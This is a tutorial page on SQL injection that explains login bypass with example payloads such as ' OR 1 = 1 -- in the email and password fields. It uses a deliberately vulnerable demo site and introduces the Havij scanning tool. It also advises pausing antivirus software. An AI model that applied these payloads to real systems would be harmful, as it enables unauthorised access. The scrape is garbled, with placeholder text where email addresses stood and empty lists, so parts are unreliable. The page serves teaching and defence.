SQL Injection Tutorial: Learn with Example

Data is one of the most vital components of information systems. Database powered web applications are used by the organization to get data from customers. SQL is the acronym for Structured Query Language. It is used to retrieve and manipulate data in the database.

What is a SQL Injection?

SQL Injection is an attack that poisons dynamic SQL statements to comment out certain parts of the statement or appending a condition that will always be true. It takes advantage of the design flaws in poorly designed web applications to exploit SQL statements to execute malicious SQL code.

Learn SQL Injection with practical example

In this tutorial, you will learn SQL Injection techniques and how you can protect web applications from such attacks.

How SQL Injection Works

The types of attacks that can be performed using SQL injection vary depending on the type of database engine. The attack works on dynamic SQL statements. A dynamic statement is a statement that is generated at run time using parameters password from a web form or URI query string.

Let’s consider a simple web application with a login form. The code for the HTML form is shown below.

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

 

HERE,

Let’s suppose the statement at the backend for checking user ID is as follows

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);

HERE,

We will illustrate SQL injection attack using sqlfiddle. Open the URL http://sqlfiddle.com/ in your web browser. You will get the following window.

Note: you will have to write the SQL statements

Learn SQL Injection with practical example

Step 1) Enter this code in left pane

CREATE TABLE `users` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(45) NULL,
  `password` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));
  
  
insert into users (email,password) values ('This email address is being protected from spambots. You need JavaScript enabled to view it.',md5('abc'));

Step 2) Click Build Schema

Step 3) Enter this code in right pane

select * from users;

Step 4) Click Run SQL. You will see the following result

Learn SQL Injection with practical example

 

Suppose user supplies This email address is being protected from spambots. You need JavaScript enabled to view it. and 1234 as the password. The statement to be executed against the database would be

SELECT * FROM users WHERE email = 'This email address is being protected from spambots. You need JavaScript enabled to view it.' AND password = md5('1234');

The above code can be exploited by commenting out the password part and appending a condition that will always be true. Let’s suppose an attacker provides the following input in the email address field.

This email address is being protected from spambots. You need JavaScript enabled to view it.' OR 1 = 1 LIMIT 1 -- ' ]

xxx for the password.

The generated dynamic statement will be as follows.

SELECT * FROM users WHERE email = 'This email address is being protected from spambots. You need JavaScript enabled to view it.' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

HERE,

Copy the above SQL statement and paste it in SQL FiddleRun SQL Text box as shown below

Learn SQL Injection with practical example

Hacking Activity: SQL Inject a Web Application

We have a simple web application at http://www.techpanda.org/ that is vulnerable to SQL Injection attacks for demonstration purposes only. The HTML form code above is taken from the login page. The application provides basic security such as sanitizing the email field. This means our above code cannot be used to bypass the login.

To get round that, we can instead exploit the password field. The diagram below shows the steps that you must follow

Learn SQL Injection with practical example

Let’s suppose an attacker provides the following input

Learn SQL Injection with practical example

The generated SQL statement will be as follows

SELECT * FROM users WHERE email = 'This email address is being protected from spambots. You need JavaScript enabled to view it.' AND password = md5('xxx') OR 1 = 1 -- ]');

The diagram below illustrates the statement has been generated.

Learn SQL Injection with practical example

HERE,

In general, a successful SQL Injection attack attempts a number of different techniques such as the ones demonstrated above to carry out a successful attack.

Other SQL Injection attack types

SQL Injections can do more harm than just by passing the login algorithms. Some of the attacks include

The above list is not exhaustive; it just gives you an idea of what SQL Injection

Automation Tools for SQL Injection

In the above example, we used manual attack techniques based on our vast knowledge of SQL. There are automated tools that can help you perform the attacks more efficiently and within the shortest possible time. These tools include

How to Prevent against SQL Injection Attacks

An organization can adopt the following policy to protect itself against SQL Injection attacks.

Hacking Activity: Use Havij for SQL Injection

In this practical scenario, we are going to use Havij Advanced SQL Injection program to scan a website for vulnerabilities.

Note: your anti-virus program may flag it due to its nature. You should add it to the exclusions list or pause your anti-virus software.

The image below shows the main window for Havij

Learn SQL Injection with practical example

The above tool can be used to assess the vulnerability of a web site/application.

Summary

 

gtupapers is Sponsored by Netsparker
Netsparker

Netsparker, the developers of Proof Based Scanning technology, have sponsored the gtupapers project to help raise web application security awareness and allow more developers to learn about writing secure code